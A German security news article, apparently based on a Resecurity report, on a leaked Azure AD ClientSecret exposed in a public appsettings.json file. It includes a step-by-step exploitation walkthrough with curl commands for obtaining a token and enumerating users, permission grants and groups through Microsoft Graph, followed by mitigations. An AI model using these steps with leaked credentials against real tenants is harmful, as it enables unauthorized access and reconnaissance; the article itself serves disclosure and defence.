Azure AD Client Secret Leak: Schlüssel zur Cloud kompromittiert

Eine gravierende Sicherheitslücke im Azure Active Directory (Azure AD) hat Anmeldedaten offengelegt und könnte es Angreifern ermöglichen, bösartige Anwendungen bereitzustellen.

Bei einer Überprüfung durch das HUNTER-Team von Resecurity stießen die Experten auf eine öffentlich zugängliche Datei mit Anwendungseinstellungen (appsettings.json). Darin befanden sich hochsensible Daten: ClientId und ClientSecret.

Mit diesen Zugangsdaten können sich Angreifer direkt an den OAuth-2.0-Endpunkten von Microsoft authentifizieren und sich so als vertrauenswürdige Anwendung ausgeben. Abhängig von den vergebenen Berechtigungen der kompromittierten App lassen sich unter anderem:

• vertrauliche Daten aus SharePoint, OneDrive oder Exchange Online abrufen,

• Benutzer, Gruppen und Verzeichnisrollen in Azure AD auflisten,

• die Microsoft Graph-API zum Ausweiten von Berechtigungen oder für Persistenz missbrauchen,

• bösartige Anwendungen im Mandanten der Organisation bereitstellen.

Das Risiko verschärfte sich dadurch, dass die Konfigurationsdatei über das Internet frei zugänglich war. Damit konnten sowohl automatisierte Bots als auch professionelle Angreifer die Informationen nutzen, um Cloud-Konten zu kompromittieren, Daten zu stehlen oder Folgeangriffe einzuleiten.

Hintergrund der Schwachstelle

Die Ursache liegt meist in Fehlkonfigurationen und unsauberem Geheimnismanagement bei Cloud-nativen Anwendungen. Entwickler speichern sensible Werte wie ClientId, ClientSecret, Speicher- oder Datenbankschlüssel häufig in Konfigurationsdateien. Während dies in lokalen Umgebungen praktikabel ist, entstehen in der Produktion gravierende Risiken – insbesondere wenn:

• Webserver fälschlich so eingerichtet sind, dass sie Konfigurationsdateien öffentlich ausliefern,

• interne Dateien versehentlich ohne Zugriffsbeschränkung in produktive Systeme gelangen,

• kein Einsatz von Secret-Management-Lösungen wie Azure Key Vault, AWS Secrets Manager oder HashiCorp Vault erfolgt,

• Sicherheitsprüfungen, Code-Reviews und Penetrationstests fehlen,

• Entwickler auf „Sicherheit durch Unauffälligkeit“ setzen – ein Trugschluss angesichts systematischer Scans durch Angreifer.

Die Veröffentlichung sensibler Konfigurationen wie appsettings.json bedeutet damit nichts weniger, als Angreifern den Generalschlüssel zur Cloud zu überlassen.

Was ist appsettings.json?

In ASP.NET Core-Anwendungen ist appsettings.json die zentrale Konfigurationsdatei, in der wichtige Schlüssel-Wert-Paare gespeichert sind, die für die Funktion der Anwendung erforderlich sind. Sie ersetzt das ältere web.config-Format und bietet einen übersichtlicheren, lesbaren und strukturierten JSON-basierten Ansatz.

Diese Datei wird in der Regel automatisch zur Laufzeit geladen, und Entwickler können auch Konfigurationen (z. B. appsettings.Development.json, appsettings.Production.json) schichten, um verschiedene Umgebungen zu verwalten.

Zu den häufig in der Datei „appsettings.json“ gespeicherten Datentypen gehören:

1. Datenbankverbindungszeichenfolgen (SQL Server, MySQL, PostgreSQL, MongoDB usw.)
2. API-Schlüssel und Tokens für Integrationen von Drittanbietern (Zahlungsgateways, E-Mail-Anbieter, Kartendienste usw.)
3. Clouddienst-Anmeldeinformationen für Plattformen wie Azure, AWS oder GCP
4. Authentifizierungsdetails für Azure Active Directory (Azure AD), z. B.:
   1. ClientId
   2. TenantId
   3. RedirectUri
   4. ClientSecret
5. Protokollierungs- und Überwachungskonfigurationen (z. B. Protokollstufen, Protokollierungsendpunkte, Telemetrie)
6. Feature-Flags und Umgebungseinstellungen, die Anwendungsfunktionen aktivieren oder deaktivieren

Die Datei „appsettings.json“ ist im Wesentlichen der Entwurf dafür, wie eine Anwendung ausgeführt wird. Sie teilt der App nicht nur mit, wo sie sich verbinden soll (Datenbanken, APIs, Cloud-Dienste), sondern kann auch die für die Authentifizierung erforderlichen Anmeldeinformationen enthalten.

Aufschlüsselung der AzureAd-Konfigurationsfelder

"AzureAd": { "Instance": "https://login.microsoftonline.com/",
"TenantId": "<TENANT_ID>", "ClientId": "<CLIENT_ID>",
"RedirectUri": "https://<app-domain>/", "ClientSecret":
"<CLIENT_SECRET>" }

Feldbeschreibungen

1. Instanz
2. TenantId
3. ClientId
4. Auch als Anwendungs- (Client-)ID bezeichnet.
5. Öffentliche Kennung für die in Azure AD registrierte Anwendung.
6. Wird in OAuth2-Abläufen verwendet, um zu identifizieren, welche App Zugriff anfordert.
8. RedirectUri
9. Die Callback-URL, an die Azure AD Authentifizierungsantworten (Tokens oder Autorisierungscodes) sendet.
10. Sie muss genau mit einer der in der Azure AD-Anwendungsregistrierung konfigurierten Umleitungs-URIs übereinstimmen.
11. Beispiel: https://app.example.com/signin-oidc.
13. ClientSecret
14. Privater Geheimschlüssel, der mit der Anwendung verknüpft ist und wie ein Kennwort in vertraulichen Client-Abläufen (z. B. Client-Anmeldeinformationsablauf) verwendet wird. Wenn er offengelegt wird, können sich Angreifer als die App authentifizieren und Tokens anfordern.

Dies ist die Basis-URL des Identitätsanbieters Azure Active Directory (AAD).

In der Regel https://login.microsoftonline.com/.

Alle OAuth2- und OpenID Connect-Authentifizierungsanfragen werden über diesen Endpunkt weitergeleitet.

Eindeutige Kennung des Azure AD-Mandanten (kann eine GUID wie 11111111-2222-3333-4444-555555555555 oder eine verifizierte Domäne wie contoso.com sein). Gibt an, gegenüber welchem Azure AD-Verzeichnis sich die Anwendung authentifizieren soll.

Schrittweise Anleitung zur Ausnutzung

Da die Client-ID und der Client-Geheimcode in der Datei „appsettings.json“ offengelegt sind, verfügt ein Angreifer im Wesentlichen über den „Benutzernamen und das Passwort“ der Azure AD-Anwendung. Diese Anmeldedaten können missbraucht werden, um ein Zugriffstoken von der Identitätsplattform von Microsoft anzufordern. Sobald ein gültiges Token erhalten wurde, fungiert es wie ein digitaler Pass und gewährt programmatischen Zugriff auf Azure- und Microsoft Graph-APIs – genauso, wie die Anwendung selbst sich legitim authentifizieren würde.

Schritt 1 – Anfordern eines Zugriffstokens

Der Angreifer verwendet die aus der offengelegten Datei „appsettings.json“ entwendeten Werte „ClientId“ und „ClientSecret“, um sich mithilfe des OAuth2-Client-Anmeldeinformationsflusses bei Azure Active Directory (Azure AD) zu authentifizieren.

Anforderung

curl -X POST \

-d "grant_type=client_credentials" \

-d "client_id=<REDACTED_CLIENT_ID>" \

-d "client_secret=<REDACTED_CLIENT_SECRET>" \

-d "scope=https://graph.microsoft.com/.default" \

<a
href="https://www.google.com/url?q=https://login.microsoftonline.com/%253cTENANT_ID%253e/oauth2/v2.0/token&sa=D&source=editors&ust=[sanitized_ID]&usg=[sanitized_token]"

rel=“nofollow“>https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token</a>

Antwort

{ "token_type": "Bearer", "expires_in": 3599, "ext_expires_in": 3599, "access_token": "<REDACTED_ACCESS_TOKEN>" }

Wichtige Parameter:

• grant_type=client_credentials → teilt Azure AD mit, dass es sich um eine Server-zu-Server-App-Anmeldung handelt, an der kein Benutzer beteiligt ist.
• client_id → öffentliche Kennung für die Azure AD-Anwendung.
• client_secret → privater, passwortähnlicher Geheimcode, der die Identität der App bestätigt.
• scope=https://graph.microsoft.com/.default → fordert ein Token für Microsoft Graph an, das wichtigste API-Gateway für Microsoft 365-Daten (Benutzer, Gruppen, E-Mails, Dateien usw.).
• tenant_id → identifiziert den Azure AD-Mandanten

Wichtige Felder:

• token_type=Bearer → Das ausgestellte Token ist ein Bearer-Token, das in nachfolgenden API-Anfragen enthalten sein muss.
• expires_in=3599 → Das Token ist etwa 1 Stunde lang gültig.
• access_token → Ein JWT (JSON Web Token). Hierbei handelt es sich um eine signierte Anmeldeinformation, die von Azure AD ausgestellt wird und im Namen der Anwendung Zugriff auf Microsoft Graph gewährt.

Schritt 2 – Aufzählen von Benutzern über Microsoft Graph

Nachdem der Angreifer in Schritt 1 einen Zugriffstoken erhalten hat, kann er eine GET-Anfrage an die Microsoft Graph API senden, um die Benutzer innerhalb des Mandanten aufzuzählen.

Anfrage

Curl -X GET https://graph.microsoft.com/v1.0/users -H "Authorization: Bearer <ACCESS_TOKEN>"

Antwort

{ "@odata.context":
"https://graph.microsoft.com/v1.0/$metadata#users", "@odata.nextLink":
"https://graph.microsoft.com/v1.0/users?$skiptoken=...", "value": [ {
"id": "11111111-2222-3333-4444-555555555555", "displayName": "Example
User", "givenName": "Example", "surname": "User", "userPrincipalName":
"example.user@tenant.com", "mail": "example.user@tenant.com",
"jobTitle": null, "officeLocation": null, "mobilePhone": null }, { "id":
"66666666-7777-8888-9999-000000000000", "displayName": "Test Account",
"surname": "Account", "userPrincipalName": "test.account@tenant.com",
"mail": "test.account@tenant.com" } ] }

Wichtige Parameter:

• Autorisierung: Bearer <ACCESS_TOKEN> → Das zuvor in Schritt 1 ausgestellte JWT-Token.
• Endpunkt: /v1.0/users → Listet alle Azure AD-Benutzer innerhalb des Mandanten auf.

Dadurch kann ein Angreifer:

• Benutzernamen und E-Mail-Adressen auflisten.
• Eine Liste für Passwort-Spraying oder Phishing erstellen.
• Namenskonventionen und interne Konten identifizieren.

Schritt 3 – Aufzählung der OAuth2-Berechtigungen

Sobald ein Angreifer über ein gültiges Zugriffstoken verfügt, kann er die Microsoft Graph API abfragen, um die OAuth2-Berechtigungen innerhalb des Mandanten aufzulisten. Dadurch wird sichtbar, welche Anwendungen autorisiert wurden und über welche Berechtigungen (Scopes) sie verfügen.

Anfrage

curl -X GET https://graph.microsoft.com/v1.0/oauth2PermissionGrants -H "Authorization: Bearer <ACCESS_TOKEN>"

Antwort

{ "clientId": "11111111-2222-3333-4444-555555555555",
"consentType": "Principal", "principalId":
"11111111-2222-3333-4444-555555555555", "resourceId":
"11111111-2222-3333-4444-555555555555", "scope": "MyFiles.Read
MyFiles.Write" }

Erläuterung der wichtigsten Felder

• clientId → Die ID der Azure AD-Anwendung.
• consentType → Gibt an, ob die Berechtigung von einem Benutzer (Principal) oder auf Mandantenebene (AllPrincipals) erteilt wurde.
• principalId → Die Objekt-ID des Benutzers oder Dienstprinzipals, der die Zustimmung erteilt hat.
• resourceId → Die Zielressource (z. B. Microsoft Graph).
• scope → Die spezifischen erteilten Berechtigungen (Lese-/Schreibzugriff auf Daten).

Schritt 4 – Aufzählung von Gruppen und Mitgliedschaften

Angreifer nutzen Gruppeninformationen, um privilegierte Cluster und geschäftskritische Teams zu identifizieren.

Anfrage

curl -X GET \

https://graph.microsoft.com/v1.0/groups \

-H "Authorization: Bearer <ACCESS_TOKEN>"

Antwort

{ "value": [ { "id": "11111111-2222-3333-4444-555555555555",
"displayName": "Global Administrators", "description": "Users with full
access to manage tenant" }, { "id":
"11111111-2222-3333-4444-555555555555", "displayName": "Finance Team",
"description": "Users with access to financial records" } ] }

Der Endpunkt /groups legt die Organisationsstruktur offen. Hochwertige Gruppen wie globale Administratoren sind wichtige Ziele, da die Kompromittierung eines Mitglieds die vollständige Kontrolle über den Mandanten ermöglicht. Angreifer können dies dann mit dem Endpunkt /groups/{id}/members verknüpfen, um aufzudecken, welche Benutzer zu sensiblen Gruppen gehören.

Was ein Angreifer erreichen kann

Das Durchsickern einer appsettings.json-Datei, die Azure AD-Anmeldedaten (ClientId, ClientSecret, TenantId, RedirectUri) enthält, ist nicht nur eine geringfügige Fehlkonfiguration – es kann als direkter Einstiegspunkt in die Cloud-Umgebung dienen. Zu den möglichen Folgen gehören:

• Unbefugter Zugriff auf Azure AD – Angreifer können gültige OAuth 2.0-Token generieren und sich als vertrauenswürdige Anwendungen ausgeben.
• Datenexfiltration über die Microsoft Graph API – Nach der Authentifizierung können Angreifer Benutzer, Gruppen, Berechtigungen, Postfächer, Dateien und sogar sensible Geschäftsdaten, die in Microsoft 365 gespeichert sind, auflisten.
• Privilegieneskalation und Aufklärung – Durch die Zuordnung von Gruppenmitgliedschaften (z. B. globale Administratoren, Sicherheitsleser, Finanzteams) können Angreifer hochwertige Ziele identifizieren und zu Konten mit höheren Berechtigungen wechseln.
• Seitliche Bewegung in Cloud-Ressourcen – Wenn die Datei auch Schlüssel für Speicherkonten, Cosmos DB oder andere Azure-Dienste enthält, können Angreifer direkt auf Produktionsdaten zugreifen oder diese sogar manipulieren.
• Persistenz und Backdoor-Erstellung – Mit ausreichenden Berechtigungen können Angreifer betrügerische Anwendungen registrieren, sich selbst die Zustimmung erteilen oder versteckte Benutzer/Gruppen hinzufügen, um auch nach der Erkennung weiterhin Zugriff zu haben.
• Compliance- und regulatorische Risiken – Die Offenlegung solcher Geheimnisse kann zu Verstößen gegen die DSGVO, HIPAA oder SOX führen, was hohe Geldstrafen und Reputationsschäden nach sich ziehen kann.
• Ausnutzung der Lieferkette – Wenn diese App kundenorientiert ist, könnten Angreifer den Zugriff als Waffe einsetzen, um nachgelagerte Kunden, Partner oder integrierte Dienste von Drittanbietern zu beeinträchtigen.

Der Weg zur Risikominderung

Die Offenlegung von appsettings.json mit Geheimnissen ist eine gefährliche Fehlkonfiguration, die jedoch mit den folgenden Best Practices gemindert werden kann:

1. Beschränken Sie den Dateizugriff

• Stellen Sie sicher, dass appsettings.json und andere Konfigurationsdateien niemals öffentlich zugänglich sind.
• Konfigurieren Sie Ihren Webserver (IIS, Nginx, Apache usw.) so, dass der direkte Zugriff auf Konfigurationsdateien (.json, .config, .env) blockiert wird.
• location ~* \.(json|config|env)$ {deny all;}

2. Entfernen Sie Geheimnisse aus Code- und Konfigurationsdateien

• Codieren Sie ClientSecrets, API-Schlüssel oder Datenbank-Anmeldedaten niemals im Klartext fest ein.

3. Wechseln Sie offengelegte Anmeldedaten sofort

• Wenn Geheimnisse offengelegt werden, behandeln Sie sie als kompromittiert.
• Wechseln Sie das ClientSecret, generieren Sie Zugriffsschlüssel neu und machen Sie die offengelegten Werte ungültig.

4. Prinzip der geringsten Privilegien durchsetzen

• Vergeben Sie Ihrer Azure AD-Anwendung keine übermäßigen Berechtigungen.
• Verwenden Sie minimale Bereiche, anstatt Directory.Read.All oder globale Berechtigungen zu vergeben, es sei denn, dies ist absolut notwendig.

5. Überwachen und warnen Sie bei der Verwendung von Anmeldedaten

• Aktivieren Sie die Azure AD-Protokollierung, um verdächtige API-Aufrufe zu erkennen.

Fazit

Was wie eine harmlose JSON-Konfigurationsdatei aussieht, kann in Wirklichkeit als Hauptschlüssel zum Cloud-Königreich eines Unternehmens fungieren. Indem sie appsettings.json im Internet verfügbar machen, übergeben Entwickler unbeabsichtigt direkte Zugriffstoken an Angreifer – Token, mit denen Azure AD-Identitäten, Microsoft Graph-Daten, Speicherkonten und sogar hochprivilegierte Administratorfunktionen freigeschaltet werden können.

Die Auswirkungen sind gravierend:

• Ein einziges durchgesickertes ClientSecret kann herkömmliche Anmeldeschutzmaßnahmen wie MFA umgehen, da die Service-zu-Service-Authentifizierung ausschließlich auf Schlüsseln basiert.
• Durch offengelegte Speicherkontoschlüssel können Angreifer sensible Daten ohne Benutzerinteraktion lesen, schreiben und löschen.
• Durchgesickerte Azure AD-Anwendungsanmeldeinformationen können missbraucht werden, um Benutzer, Gruppen, Postfächer und Berechtigungen unbemerkt aufzulisten und so eine laterale Bewegung über den gesamten Microsoft 365-Mandanten hinweg zu ermöglichen.

Dies ist nicht nur eine Fehlkonfiguration – es ist eine Cloud-Sicherheitslücke, die nur darauf wartet, ausgenutzt zu werden. Unternehmen müssen sich bewusst sein, dass die Cloud-Sicherheit nur so stark ist wie ihre schwächste exponierte Datei.

Die Lehre daraus ist klar:

• Geheimnisse gehören nicht in Code oder Konfigurationen, die auf öffentlichen Servern gespeichert sind.
• Verlegte Dateien = kompromittierte Identitäten.
• Jeder übersehene Endpunkt ist ein potenzieller Einstiegspunkt für Angreifer.

Kurz gesagt: Die kleinste Datei kann die größte Sicherheitsverletzung auslösen. Die Verteidiger, die die Konfigurationssicherheit genauso ernst nehmen wie die Anwendungslogik, werden diejenigen sein, die die Schlagzeilen von morgen vermeiden.

Alle Grafiken Quelle: Resecurity

Vielleicht spannend für Sie

---

Bild/Quelle: https://depositphotos.com/de/home.html

Folgen Sie uns auf X

Folgen Sie uns auf Bluesky